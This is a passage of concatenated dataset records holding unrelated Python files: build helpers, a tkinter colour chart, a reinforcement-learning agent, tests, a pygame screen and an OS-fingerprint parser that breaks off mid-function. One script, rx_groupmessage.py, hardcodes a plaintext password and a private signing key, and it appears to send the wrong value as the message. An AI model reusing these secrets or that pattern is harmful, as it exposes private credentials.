string,caractere\nconta_caractere(string,caractere)","sub_path":"FuncaoDefPython/Exemp009.py","file_name":"Exemp009.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"111107495","text":"import sys, os, subprocess\nfrom mama.async_file_reader import AsyncFileReader\n\n## Always flush to properly support Jenkins\ndef console(s): print(s, flush=True)\n\n\ndef execute(command, echo=False, throw=True):\n if echo: console(command)\n retcode = os.system(command)\n if throw and retcode != 0:\n raise Exception(f'{command} failed with return code {retcode}')\n return retcode\n\n\ndef execute_piped(command, cwd=None):\n cp = subprocess.run(command, stdout=subprocess.PIPE, cwd=cwd)\n return cp.stdout.decode('utf-8').rstrip()\n\n\ndef execute_echo(cwd, cmd):\n try:\n proc = subprocess.Popen(cmd, shell=True, universal_newlines=True, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n output = AsyncFileReader(proc.stdout)\n errors = AsyncFileReader(proc.stderr)\n while True:\n if proc.poll() is None:\n output.print()\n errors.print()\n else:\n output.stop()\n errors.stop()\n output.print()\n errors.print()\n break\n except:\n console(f'Popen failed! cwd={cwd} cmd={cmd} ')\n raise\n if proc.returncode != 0:\n raise Exception(f'Execute {cmd} failed with error: {proc.returncode}')\n\n\nis_windows = sys.platform == 'win32'\nis_linux = sys.platform.startswith('linux')\nis_macos = sys.platform == 'darwin'\nif not (is_windows or is_linux or is_macos):\n raise RuntimeError(f'MamaBuild unsupported platform {sys.platform}')\n\n\ndef _is_system_64_bit():\n if sys.platform == 'win32':\n output = subprocess.check_output(['wmic', 'os', 'get', 'OSArchitecture'])\n if '64-bit' in str(output):\n return True\n else:\n output = subprocess.check_output(['uname', '-m'])\n if 'x86_64' in str(output):\n return True\n return False\nis_64 = _is_system_64_bit()\n\n\nclass System:\n windows = is_windows\n linux = is_linux\n macos = is_macos\n is_64bit = is_64\n","sub_path":"mama/system.py","file_name":"system.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"427699170","text":" # Imports #\nimport tkinter as tk\n\n # Main #\ndef main():\n tk_Root = tk.Tk()\n tk_Root.title(\"Named Color Chart\")\n tk_Chart = c_ColorChart(tk_Root, l_Colors)\n tk_Root.mainloop()\n\n#-----------Basement------------\n # Classes #\nclass c_ColorChart(tk.Frame):\n v_Rows = 36\n v_FontSize = 6\n\n def __init__(self, tk_Root, l_Colors):\n tk.Frame.__init__(self, tk_Root)\n v_Row = 0\n v_Column = 0\n\n for _Color in l_Colors:\n tk_Label = tk.Label(self, text=_Color, bg=_Color,\\\n font=(\"Times\", self.v_FontSize, \"bold\"))\n tk_Label.grid(row=v_Row, column=v_Column, sticky=\"ew\")\n v_Row += 1\n\n if v_Row > self.v_Rows:\n v_Row = 0\n v_Column += 1\n\n self.pack(expand=1, fill=\"both\")\n\nl_Colors = [\"MAROON\",\"DARKRED\",\"BROWN\",\"FIREBRICK\",\"CRIMSON\",\"RED\",\"TOMATO\",\n\"CORAL\",\"INDIANRED\",\"LIGHTCORAL\",\"DARKSALMON\",\"SALMON\",\"LIGHTSALMON\",\"ORANGERED\",\n\"DARKORANGE\",\"ORANGE\",\"GOLD\",\"DARKGOLDENROD\",\"GOLDENROD\",\"PALEGOLDENROD\",\n\"DARKKHAKI\",\"KHAKI\",\"OLIVE\",\"YELLOW\",\"YELLOWGREEN\",\"DARKOLIVEGREEN\",\"OLIVEDRAB\",\n\"LAWNGREEN\",\"CHARTREUSE\",\"GREENYELLOW\",\"DARKGREEN\",\"GREEN\",\"FORESTGREEN\",\"LIME\",\n\"LIMEGREEN\",\"LIGHTGREEN\",\"PALEGREEN\",\"DARKSEAGREEN\",\"MEDIUMSPRINGGREEN\",\n\"SPRINGGREEN\",\"SEAGREEN\",\"MEDIUMAQUAMARINE\",\"MEDIUMSEAGREEN\",\"LIGHTSEAGREEN\",\n\"DARKSLATEGRAY\",\"TEAL\",\"DARKCYAN\",\"AQUA\",\"CYAN\",\"LIGHTCYAN\",\"DARKTURQUOISE\",\n\"TURQUOISE\",\"MEDIUMTURQUOISE\",\"PALETURQUOISE\",\"AQUAMARINE\",\"POWDERBLUE\",\"CADETBLUE\",\n\"STEELBLUE\",\"CORNFLOWERBLUE\",\"DEEPSKYBLUE\",\"DODGERBLUE\",\"LIGHTBLUE\",\"SKYBLUE\",\n\"LIGHTSKYBLUE\",\"MIDNIGHTBLUE\",\"NAVY\",\"DARKBLUE\",\"MEDIUMBLUE\",\"BLUE\",\"ROYALBLUE\",\n\"BLUEVIOLET\",\"INDIGO\",\"DARKSLATEBLUE\",\"SLATEBLUE\",\"MEDIUMSLATEBLUE\",\"MEDIUMPURPLE\",\n\"DARKMAGENTA\",\"DARKVIOLET\",\"DARKORCHID\",\"MEDIUMORCHID\",\"PURPLE\",\"THISTLE\",\"PLUM\",\n\"VIOLET\",\"MAGENTA\",\"ORCHID\",\"MEDIUMVIOLETRED\",\"PALEVIOLETRED\",\"DEEPPINK\",\"HOTPINK\",\n\"LIGHTPINK\",\"PINK\",\"ANTIQUEWHITE\",\"BEIGE\",\"BISQUE\",\"BLANCHEDALMOND\",\"WHEAT\",\"CORNSILK\",\n\"LEMONCHIFFON\",\"LIGHTGOLDENRODYELLOW\",\"LIGHTYELLOW\",\"SADDLEBROWN\",\"SIENNA\",\"CHOCOLATE\",\n\"PERU\",\"SANDYBROWN\",\"BURLYWOOD\",\"TAN\",\"ROSYBROWN\",\"MOCCASIN\",\"NAVAJOWHITE\",\"PEACHPUFF\",\n\"MISTYROSE\",\"LAVENDERBLUSH\",\"LINEN\",\"OLDLACE\",\"PAPAYAWHIP\",\"SEASHELL\",\"MINTCREAM\",\n\"SLATEGRAY\",\"LIGHTSLATEGRAY\",\"LIGHTSTEELBLUE\",\"LAVENDER\",\"FLORALWHITE\",\"ALICEBLUE\",\n\"GHOSTWHITE\",\"HONEYDEW\",\"IVORY\",\"AZURE\",\"SNOW\",\"BLACK\",\"DIMGRAY\",\"GRAY\",\"DARKGRAY\",\n\"SILVER\",\"LIGHTGRAY\",\"GAINSBORO\",\"WHITESMOKE\",\"WHITE\"]\n\n # Main Loop #\nif __name__ == '__main__':\n main()","sub_path":"Pyinstalled/dist/Resources/Programs/colorChart.py","file_name":"colorChart.py","file_ext":"py","file_size_in_byte":2552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"427621851","text":"import cherrypy\nimport urllib.request\nimport json\nimport base64\nimport nacl.signing\nimport nacl.encoding\nimport jinja2\nimport time\nimport nacl.secret\nimport nacl.utils\nimport sqlite3\nimport subprocess\nimport shlex\nfrom subprocess import check_output\nimport nacl.pwhash\nimport socket\nimport nacl.hash\n\n\nurl = \"http://172.23.114.169:10050/api/rx_groupmessage\"\n\ntarget_pubkey = \"78123e33622eb039e8c20fb30713902c37bf9fe4493bd1e16e69cd8cc129e03e\"\ntarget_username = \"fsan110\"\nusername = \"ddhy609\"\npassword = \"DevashishDhyani_364084614\"\n\n\n# Generate a new random signing key\n#signing_key = nacl.signing.SigningKey.generate()\n#hex_key = signing_key.encode(encoder=nacl.encoding.HexEncoder)\nhex_key = b'e168930db994e85047e5de1f88d8e509f5622eff1b392c946576ca64d275d4d5'\nprint(\"private key\")\nprint(hex_key)\n\nsigning_key = nacl.signing.SigningKey(hex_key, encoder=nacl.encoding.HexEncoder)\n\n# Sign a message with the signing key\n# Obtain the verify key for a given signing key\nverify_key = signing_key.verify_key\n\n# Serialize the verify key to send it to a third party\nverify_key_hex = verify_key.encode(encoder=nacl.encoding.HexEncoder)\n\npubkey_hex = signing_key.verify_key.encode(encoder=nacl.encoding.HexEncoder)\npubkey_hex_str = pubkey_hex.decode('utf-8')\nprint(\"public key\")\nprint(pubkey_hex_str)\n\nlogin_record = \"ddhy609,e91e6780af87f41217d4be94bb6398a027e2c0e28bb0370c414abb9c952399fd,1558592327.9529357,8cecc3bfb3b9739fc4c443f61d36f23184099b758ba6c8a93c3946b8c067bf56b931205e9d713a1818d63ff5540e33959ad350046c598639b2a3abad2d191605\"\n\nmessage_key = bytes(\"Decryption Grp Chat?\", encoding='utf-8')\nprint(\"message_key\")\nprint(message_key)\n\ntime_stamp = str(time.time())\n##############\n#Encrypting public key of target user\nverifykey_target = nacl.signing.VerifyKey(pubkey_hex_str, encoder=nacl.encoding.HexEncoder)\ntarget_pkey = verifykey_target.to_curve25519_public_key()\nsealed_box = nacl.public.SealedBox(target_pkey)\nencrypted = sealed_box.encrypt(message_key, encoder=nacl.encoding.HexEncoder)\ngroup_message = encrypted.decode('utf-8')\nprint(\"message encrypted\")\nprint(group_message)\n######\n\n######\n#Getting signature\n\n\ngroupkey_hash = nacl.hash.sha256(hex_key, encoder=nacl.encoding.HexEncoder)\nprint(\"groupkey_hash\")\nprint(groupkey_hash)\n\ngroupkey_hash = groupkey_hash.decode('utf-8')\nprint(\"post utf 8\")\nprint(type(groupkey_hash))\n\n\nmessage_bytes = bytes(login_record + group_message + time_stamp\n , encoding='utf-8')\n\nprint(\"post message bytes addition\")\n\nsigned = signing_key.sign(message_bytes, encoder=nacl.encoding.HexEncoder)\nsignature_hex_str = signed.signature.decode('utf-8')\n\nprint(\"sigature\")\nprint(signature_hex_str)\nprint(type(signature_hex_str))\n\n\n#####3\n\n#create HTTP BASIC authorization header\ncredentials = ('%s:%s' % (username, password))\nb64_credentials = base64.b64encode(credentials.encode('ascii'))\nheaders = {\n 'Authorization': 'Basic %s' % b64_credentials.decode('ascii'),\n 'Content-Type' : 'application/json; charset=utf-8',\n}\n\npayload = {\n \"loginserver_record\" : login_record,\n \"groupkey_hash\" : groupkey_hash,\n\t\"group_message\" : target_pubkey,\n \"sender_created_at\" : time_stamp,\n \"signature\" : signature_hex_str\n}\n\nprint(\"payload before byte conversion\")\nprint(payload)\nprint(type(payload))\n\npayload = json.dumps(payload).encode('utf-8')\n\nprint(\"payload after byte conversion\")\nprint(payload)\nprint(type(payload))\n\n#STUDENT TO COMPLETE:\n#1. convert the payload into json representation, \n#2. ensure the payload is in bytes, not a string\n\n#3. pass the payload bytes into this function\ntry:\n req = urllib.request.Request(url, data=payload, headers=headers)\n response = urllib.request.urlopen(req)\n data = response.read() # read the received bytes\n encoding = response.info().get_content_charset('utf-8') #load encoding if possible (default to utf-8)\n response.close()\nexcept urllib.error.HTTPError as error:\n print(error.read())\n exit()\n\nJSON_object = json.loads(data.decode(encoding))\nprint(JSON_object)\n","sub_path":"CherryPy/rx_groupmessage.py","file_name":"rx_groupmessage.py","file_ext":"py","file_size_in_byte":3973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"441486491","text":"#!/usr/bin/python\nimport h5py\nimport matplotlib.pylab as plt\nimport sys\n\n# Go over each feioutput and plot each one. \nthefile = \"Split_Beam_Analysis_Free_Vibration.h5.feioutput\";\nfinput = h5py.File(thefile)\n\n# Read the time and displacement\ntimes = finput[\"time\"][:]\ndisp = finput[\"/Model/Nodes/Generalized_Displacements\"][505,:]\n\n# Configure the figure filename, according to the input filename.\noutfig=thefile.replace(\"_\",\"-\")\noutfigname=outfig.replace(\"h5.feioutput\",\"pdf\")\n\n# Plot the figure. Add labels and titles.\nplt.figure()\nplt.plot(times,disp)\nplt.grid(b=True, which='major', color='k', linestyle='-')\nplt.grid(b=True, which='minor', color='r', linestyle='-', alpha=0.2)\nplt.minorticks_on()\nplt.xlabel(\"Time [s] \")\nplt.ylabel(\"Displacements in y-direction [m] \")\nplt.savefig(outfigname, bbox_inches='tight')\nplt.show()\n\n\n","sub_path":"version_stability/test_cases/Contact/Split_Beam/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"85598081","text":"#!/usr/bin/env python\n\nimport subprocess\n\ncmd = ['xscreensaver-command', '-watch']\nexec_cmd = 'xscreensaver-exec.sh'\nblanked = False\n\nproc = subprocess.Popen(cmd, stdout=subprocess.PIPE)\ntry:\n while True:\n line = proc.stdout.readline().rstrip()\n if line:\n action = line.split(' ')[0]\n if not blanked and (action == 'BLANK') or (action == 'LOCK'):\n subprocess.Popen([ exec_cmd, 'lock'])\n blanked = True\n elif action == 'UNBLANK':\n subprocess.Popen([ exec_cmd, 'unlock'])\n blanked = False\n else:\n break\nexcept KeyboardInterrupt:\n pass\n","sub_path":"xscreensaver-watch.py","file_name":"xscreensaver-watch.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"254336027","text":"import unittest\nfrom unittest import mock\n\nfrom iris.message import TextMessage\nfrom iris.errors import MessageEncodingError, MessageDecodingError\n\n\nclass TextMessageTest(unittest.TestCase):\n TEST_ADDRESS = TEST_HOST, TEST_PORT = '192.168.0.10', 59200\n\n\n def test_text_message_created_with_bytes_has_BINARY_mode(self):\n message = TextMessage(b'test_data', self.TEST_ADDRESS)\n self.assertEqual(message.mode, TextMessage.BINARY)\n\n def test_text_message_created_with_string_has_NONBINARY_mode(self):\n message = TextMessage('test_data', self.TEST_ADDRESS)\n self.assertEqual(message.mode, TextMessage.NONBINARY)\n\n # to_binary testing\n def test_to_binary_changes_mode(self):\n message = TextMessage('test_data', self.TEST_ADDRESS)\n message.to_binary()\n self.assertEqual(message.mode, TextMessage.BINARY)\n\n def test_to_binary_raises_err_if_called_with_binary_msg(self):\n message = TextMessage(b'test_data', self.TEST_ADDRESS)\n with self.assertRaises(MessageEncodingError):\n message.to_binary()\n\n def test_from_binary_changes_mode(self):\n message = TextMessage(b'test_data', self.TEST_ADDRESS)\n message.from_binary()\n self.assertEqual(message.mode, TextMessage.NONBINARY)\n\n def test_from_binary_raises_err_if_called_with_nonbinary_msg(self):\n message = TextMessage(\"test_data\", self.TEST_ADDRESS)\n with self.assertRaises(MessageDecodingError):\n message.from_binary()\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/message_tests.py","file_name":"message_tests.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"157997900","text":"\"\"\"Implementations of algorithms for continuous control.\"\"\"\n\nfrom typing import Optional, Sequence, Tuple\n\nimport flax\nimport jax\nimport jax.numpy as jnp\nimport numpy as np\n\nfrom jax_rl.agents.actor_critic_temp import ActorCriticTemp\nfrom jax_rl.agents.sac import actor, critic, temperature\nfrom jax_rl.datasets import Batch\nfrom jax_rl.networks import critic_net, policies\nfrom jax_rl.networks.common import InfoDict, create_model\n\n\n@jax.partial(jax.jit, static_argnums=(2, 3, 4, 5))\ndef _update_jit(sac: ActorCriticTemp, batch: Batch, discount: float,\n tau: float, target_update_period: int,\n target_entropy: float) -> Tuple[ActorCriticTemp, InfoDict]:\n\n sac, critic_info = critic.update(sac, batch, discount, soft_critic=True)\n sac = critic.target_update(sac, tau, target_update_period)\n\n sac, actor_info = actor.update(sac, batch)\n sac, alpha_info = temperature.update(sac, actor_info['entropy'],\n target_entropy)\n\n return sac, {**critic_info, **actor_info, **alpha_info}\n\n\nclass SACLearner(object):\n def __init__(self,\n seed: int,\n observations: jnp.ndarray,\n actions: jnp.ndarray,\n actor_lr: float = 3e-4,\n critic_lr: float = 3e-4,\n temp_lr: float = 3e-4,\n hidden_dims: Sequence[int] = (256, 256),\n discount: float = 0.99,\n tau: float = 0.005,\n target_update_period: int = 1,\n target_entropy: Optional[float] = None,\n init_temperature: float = 1.0):\n\n action_dim = actions.shape[-1]\n\n if target_entropy is None:\n self.target_entropy = -action_dim / 2\n else:\n self.target_entropy = target_entropy\n\n self.tau = tau\n self.target_update_period = target_update_period\n self.discount = discount\n\n rng = jax.random.PRNGKey(seed)\n rng, actor_key, critic_key, temp_key = jax.random.split(rng, 4)\n\n actor = create_model(\n policies.NormalTanhPolicy(hidden_dims, action_dim),\n [actor_key, observations])\n actor = actor.with_optimizer(flax.optim.Adam(learning_rate=actor_lr))\n\n critic = create_model(critic_net.DoubleCritic(hidden_dims),\n [critic_key, observations, actions])\n critic = critic.with_optimizer(\n flax.optim.Adam(learning_rate=critic_lr))\n target_critic = create_model(critic_net.DoubleCritic(hidden_dims),\n [critic_key, observations, actions])\n\n temp = create_model(temperature.Temperature(init_temperature),\n [temp_key])\n temp = temp.with_optimizer(flax.optim.Adam(learning_rate=temp_lr))\n\n self.sac = ActorCriticTemp(actor=actor,\n critic=critic,\n target_critic=target_critic,\n temp=temp,\n rng=rng)\n\n def sample_actions(self,\n observations: np.ndarray,\n temperature: float = 1.0) -> jnp.ndarray:\n rng, actions = policies.sample_actions(self.sac.rng, self.sac.actor.fn,\n self.sac.actor.optimizer.target,\n observations, temperature)\n\n self.sac = self.sac.replace(rng=rng)\n\n actions = np.asarray(actions)\n return np.clip(actions, -1, 1)\n\n def update(self, batch: Batch) -> InfoDict:\n self.sac, info = _update_jit(self.sac, batch, self.discount, self.tau,\n self.target_update_period,\n self.target_entropy)\n return info\n","sub_path":"mujoco/setup1/jax_rl/agents/sac/sac_learner.py","file_name":"sac_learner.py","file_ext":"py","file_size_in_byte":3854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"490977196","text":"from django.conf.urls import url\nfrom . import views\n\napp_name = 'abmarticulos'\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'creararticulo/', views.creararticulo, name='creararticulo'),\n url(r'editararticulo/', views.editararticulo, name='editararticulo'),\n url(r'eliminararticulo/', views.eliminararticulo, name='eliminararticulo'),\n url(r'buscar/', views.buscar, name='buscar'),\n url(r'recargar/', views.recargar, name='recargar'),\n]","sub_path":"abmarticulos/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"148829897","text":"import pygame,sys,time\nfrom pygame.locals import *\nfrom src.path import path\nfrom src.models import *\nfrom src.map import *\nfrom src.bgm import *\nfrom src.equipments import *\n\ndef endFight(screen, clock, modeID, flag_mapinfo, isWin, attackers, defenders, mapload, defendersID, attackersID, attackerPicOld, attackerDetectPicOld, attackerAttackPicOld):\n resultPad = pygame.image.load(path(\"res/battle/fightResultPad.png\")).convert_alpha()\n if isWin:\n title = pygame.image.load(path(\"res/battle/victory.png\")).convert_alpha()\n # winBgm()\n else:\n title = pygame.image.load(path(\"res/battle/lose.png\")).convert_alpha()\n # loseBgm()\n tryAgainButton = pygame.image.load(path(\"res/battle/tryAgain.png\")).convert_alpha()\n returnHomeButton = pygame.image.load(path(\"res/battle/backToMenu.png\")).convert_alpha()\n\n padPos = (240, 60)\n titlePos = (440, 80)\n tryAgainButtonPos0 = (540, 430)\n tryAgainButtonPos1 = (540, 425)\n returnHomeButtonPos0 = (540, 510)\n returnHomeButtonPos1 = (540, 505)\n tryAgainButtonPos = tryAgainButtonPos0\n returnHomeButtonPos = returnHomeButtonPos0\n\n breakflag = 0\n\n AmbulanceEquipment.count = 1\n ListEquipment.count = 1\n CanonEquipment.count = 1\n IndifferentEquipment.count = 1\n DopingEquipment.count = 1\n SignalEquipment.count = 1\n\n while True:\n\n for event in pygame.event.get():\n x, y = pygame.mouse.get_pos()\n if x > tryAgainButtonPos0[0] and x < tryAgainButtonPos0[0] + tryAgainButton.get_width() \\\n and y > tryAgainButtonPos0[1] and y < tryAgainButtonPos0[1] + tryAgainButton.get_height():\n tryAgainButtonPos = tryAgainButtonPos1\n else:\n tryAgainButtonPos = tryAgainButtonPos0\n\n if x > returnHomeButtonPos0[0] and x < returnHomeButtonPos0[0] + returnHomeButton.get_width() \\\n and y > returnHomeButtonPos0[1] and y < returnHomeButtonPos0[1] + returnHomeButton.get_height():\n returnHomeButtonPos = returnHomeButtonPos1\n else:\n returnHomeButtonPos = returnHomeButtonPos0\n\n if event.type == pygame.QUIT:\n sys.exit()\n breakflag = 1\n\n if event.type == MOUSEBUTTONDOWN:\n if x > tryAgainButtonPos0[0] and x < tryAgainButtonPos0[0] + tryAgainButton.get_width() \\\n and y > tryAgainButtonPos0[1] and y < tryAgainButtonPos0[1] + tryAgainButton.get_height():\n from src.selectCharacters import selectCharacters\n for defender in defenders:\n k = defenders.index(defender)\n mapload.maps[mapload.positionToBlock([defender.position[0], defender.position[1]])[1]][mapload.positionToBlock([defender.position[0], defender.position[1]])[0]].isPlantOn = False\n defenders.remove(defender)\n defender.die()\n del defendersID[k]\n for attacker in attackers:\n k = attackers.index(attacker)\n attackers.remove(attacker)\n attacker.die()\n del attackerPicOld[k]\n del attackerDetectPicOld[k]\n del attackerAttackPicOld[k]\n del attackersID[k]\n for defender in Defender.defenders:\n defender.die()\n for attacker in Attacker.attackers:\n attacker.die()\n selectCharacters(screen, clock, modeID, flag_mapinfo)\n breakflag = 1\n # here to start the game function\n\n if x > returnHomeButtonPos0[0] and x < returnHomeButtonPos0[0] + returnHomeButton.get_width() \\\n and y > returnHomeButtonPos0[1] and y < returnHomeButtonPos0[1] + returnHomeButton.get_height():\n from src.initialMenu import initialMenu\n for defender in defenders:\n k = defenders.index(defender)\n mapload.maps[mapload.positionToBlock([defender.position[0], defender.position[1]])[1]][mapload.positionToBlock([defender.position[0], defender.position[1]])[0]].isPlantOn = False\n defenders.remove(defender)\n defender.die()\n del defendersID[k]\n for attacker in attackers:\n k = attackers.index(attacker)\n attackers.remove(attacker)\n attacker.die()\n del attackerPicOld[k]\n del attackerDetectPicOld[k]\n del attackerAttackPicOld[k]\n del attackersID[k]\n for defender in Defender.defenders:\n defender.die()\n for attacker in Attacker.attackers:\n attacker.die()\n initialMenu(screen, clock)\n # here to get back to home\n\n # 填充背景和内容\n screen.blit(resultPad, padPos)\n screen.blit(title, titlePos)\n screen.blit(tryAgainButton, tryAgainButtonPos)\n screen.blit(returnHomeButton, returnHomeButtonPos)\n\n # 更新画面\n pygame.display.update()\n # 帧率\n clock.tick(40)\n if breakflag == 1:\n break\n\n# unit test\nif __name__ == '__main__':\n import pygame\n import sys\n from src.path import path\n from pygame.locals import *\n\n pygame.init()\n global screen,clock\n size = (width, height) = (1280, 720)\n\n font = pygame.font.Font(\"C:/Windows/Fonts/simsun.ttc\", 30)\n fullscreen = False\n fullsize = pygame.display.list_modes()[0]\n\n # 计时器\n clock = pygame.time.Clock()\n\n # 创建窗口及标题\n screen = pygame.display.set_mode(size)\n pygame.display.set_caption(\"末日之战\")\n\n endFight(screen, clock, 1, 0, True)\n \n","sub_path":"runexe/dist/main/src/fightResult.py","file_name":"fightResult.py","file_ext":"py","file_size_in_byte":6080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"108818501","text":"import os\nimport unittest\nimport warnings\n\nfrom nose.tools import eq_, ok_\n\nfrom ddtrace.utils.deprecation import deprecation, deprecated, format_message\nfrom ddtrace.utils.formats import asbool, get_env\n\n\nclass TestUtilities(unittest.TestCase):\n def test_asbool(self):\n # ensure the value is properly cast\n eq_(asbool(\"True\"), True)\n eq_(asbool(\"true\"), True)\n eq_(asbool(\"1\"), True)\n eq_(asbool(\"False\"), False)\n eq_(asbool(\"false\"), False)\n eq_(asbool(None), False)\n eq_(asbool(\"\"), False)\n eq_(asbool(True), True)\n eq_(asbool(False), False)\n\n def test_get_env(self):\n # ensure `get_env` returns a default value if environment variables\n # are not set\n value = get_env('django', 'distributed_tracing')\n ok_(value is None)\n value = get_env('django', 'distributed_tracing', False)\n ok_(value is False)\n\n def test_get_env_found(self):\n # ensure `get_env` returns a value if the environment variable is set\n os.environ['DD_REQUESTS_DISTRIBUTED_TRACING'] = '1'\n value = get_env('requests', 'distributed_tracing')\n eq_(value, '1')\n\n def test_get_env_found_legacy(self):\n # ensure `get_env` returns a value if legacy environment variables\n # are used, raising a Deprecation warning\n with warnings.catch_warnings(record=True) as w:\n warnings.simplefilter('always')\n os.environ['DATADOG_REQUESTS_DISTRIBUTED_TRACING'] = '1'\n value = get_env('requests', 'distributed_tracing')\n eq_(value, '1')\n ok_(len(w) == 1)\n ok_(issubclass(w[-1].category, DeprecationWarning))\n ok_('Use `DD_` prefix instead' in str(w[-1].message))\n\n def test_get_env_key_priority(self):\n # ensure `get_env` use `DD_` with highest priority\n os.environ['DD_REQUESTS_DISTRIBUTED_TRACING'] = 'highest'\n os.environ['DATADOG_REQUESTS_DISTRIBUTED_TRACING'] = 'lowest'\n value = get_env('requests', 'distributed_tracing')\n eq_(value, 'highest')\n\n def test_deprecation_formatter(self):\n # ensure the formatter returns the proper message\n msg = format_message(\n 'deprecated_function',\n 'use something else instead',\n '1.0.0',\n )\n expected = \"'deprecated_function' is deprecated and will be remove in future versions (1.0.0). use something else instead\"\n eq_(msg, expected)\n\n def test_deprecation(self):\n # ensure `deprecation` properly raise a DeprecationWarning\n with warnings.catch_warnings(record=True) as w:\n warnings.simplefilter('always')\n deprecation(\n name='fn',\n message='message',\n version='1.0.0'\n )\n ok_(len(w) == 1)\n ok_(issubclass(w[-1].category, DeprecationWarning))\n ok_('message' in str(w[-1].message))\n\n def test_deprecated_decorator(self):\n # ensure `deprecated` decorator properly raise a DeprecationWarning\n @deprecated('decorator', version='1.0.0')\n def fxn():\n pass\n\n with warnings.catch_warnings(record=True) as w:\n warnings.simplefilter('always')\n fxn()\n ok_(len(w) == 1)\n ok_(issubclass(w[-1].category, DeprecationWarning))\n ok_('decorator' in str(w[-1].message))\n","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":3428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"369349222","text":"'''\nCreated on Oct 14, 2014\n\n@author: celestehollenbeck\n'''\nimport unittest\nimport analyzer\n\n\n\nclass Test(unittest.TestCase):\n \n class ReceiverExported():\n \"\"\"\n Represents a receiver with \"export\" set to \"true\"\n \"\"\"\n attrib = {\"{http://schemas.android.com/apk/res/android}exported\":\"true\"}\n \n class ReceiverNotExported():\n \"\"\"\n Represents a receiver with \"export\" set to \"false\"\n \"\"\"\n attrib = {\"{http://schemas.android.com/apk/res/android}exported\" :\"false\"} \n \n class FilterElement(object):\n \"\"\"\n Represents any XML element\n \"\"\"\n def __init__(self, name):\n self.attrib = {\"{http://schemas.android.com/apk/res/android}name\" : name}\n \n class ReceiverWithAttributes(object):\n \"\"\"\n Represents a receiver element with \"exported\" set to \"true\" and a given name.\n The \"find\" method can be modified.\n \"\"\"\n def __init__(self, name):\n self.attrib = {\"{http://schemas.android.com/apk/res/android}name\" : name,\n \"{http://schemas.android.com/apk/res/android}exported\" : \"true\"}\n \n def find(self, in_string):\n if in_string == \"intent-filter\":\n attrib_array = []\n attrib1 = Test.FilterElement(\"intent1\")\n attrib2 = Test.FilterElement(\"intent2\")\n attrib_array.append(attrib1)\n attrib_array.append(attrib2)\n \n return attrib_array\n \n \n def testCheckExport(self):\n # Should return true, since test receiver is exported\n receiver_true = Test.ReceiverExported()\n result_t = analyzer.check_export(receiver_true)\n self.assertTrue(result_t == True, \"Receiver export not detected\")\n \n # Should return false; test receiver not exported\n receiver_false = Test.ReceiverNotExported()\n result_f = analyzer.check_export(receiver_false)\n self.assertTrue(result_f == False, \"False receiver export detected\")\n \n def testFindExportedReceivers(self):\n # Should return two receivers with two intents each\n receiver1 = Test.ReceiverWithAttributes(\"Receiver1\")\n receiver2 = Test.ReceiverWithAttributes(\"Receiver2\")\n exported_receivers = analyzer.find_exported_receivers([receiver1, receiver2])\n self.assertTrue(len(exported_receivers) == 2, \"Wrong number of exported receivers returned\")\n self.assertTrue(exported_receivers[\"Receiver1\"] == [\"intent1\",\"intent2\"],\n \"Exported receiver not returned\")\n self.assertTrue(exported_receivers[\"Receiver2\"] == [\"intent1\", \"intent2\"],\n \"Exported receiver not returned\")\n \n def testAssociatedElementSpecific(self):\n # From parent, should retrieve all child elements of specified tag name\n element = Test.ReceiverWithAttributes(\"ReceiverElement\")\n child_matches = analyzer.associated_element_specific(element, \"intent-filter\")\n self.assertTrue(len(child_matches) == 2, \"Wrong number of child matches returned\")\n self.assertTrue(\"intent1\" in child_matches, \"Child match info incorrect\")\n self.assertTrue(\"intent2\" in child_matches, \"Child match info incorrect\")\n\nif __name__ == \"__main__\":\n #import sys;sys.argv = ['', 'Test.testAssociatedIntents']\n unittest.main()","sub_path":"testManifestAnalyzer.py","file_name":"testManifestAnalyzer.py","file_ext":"py","file_size_in_byte":3436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"537297335","text":"from operating_systems import *\nfrom consts import *\n\n\ndef compare_sigs(sig1, sig2):\n sig1 = sig1.split(\":\")\n sig2 = sig2.split(\":\")\n if len(sig1) != len(sig2):\n return False\n for index in xrange(len(sig1)):\n if sig1[index] == \"*\" or sig2[index] == \"*\":\n continue\n if sig1[index] != sig2[index]:\n return False\n return True\n\n\ndef get_sig_similarity(sig1, sig2):\n sig1 = sig1.split(\":\")\n sig2 = sig2.split(\":\")\n similarity_counter = 0\n num_of_sig_chunks = len(sig1)\n if len(sig2) != num_of_sig_chunks:\n return False\n for index in xrange(num_of_sig_chunks):\n if sig1[index] == \"*\" or sig2[index] == \"*\" or sig1[index] == sig2[index]:\n similarity_counter += 1\n grade = (similarity_counter/1.0)/num_of_sig_chunks\n return grade\n\ndef parse_fp(file_path):\n fp_db = file(file_path).read()\n cur_os = None\n os_list = OperatingSystemsList()\n for line in fp_db.splitlines():\n\n if \"label\" == line[:5]:\n cur_label = line[8:]\n label_list = os_list.get_labels()\n 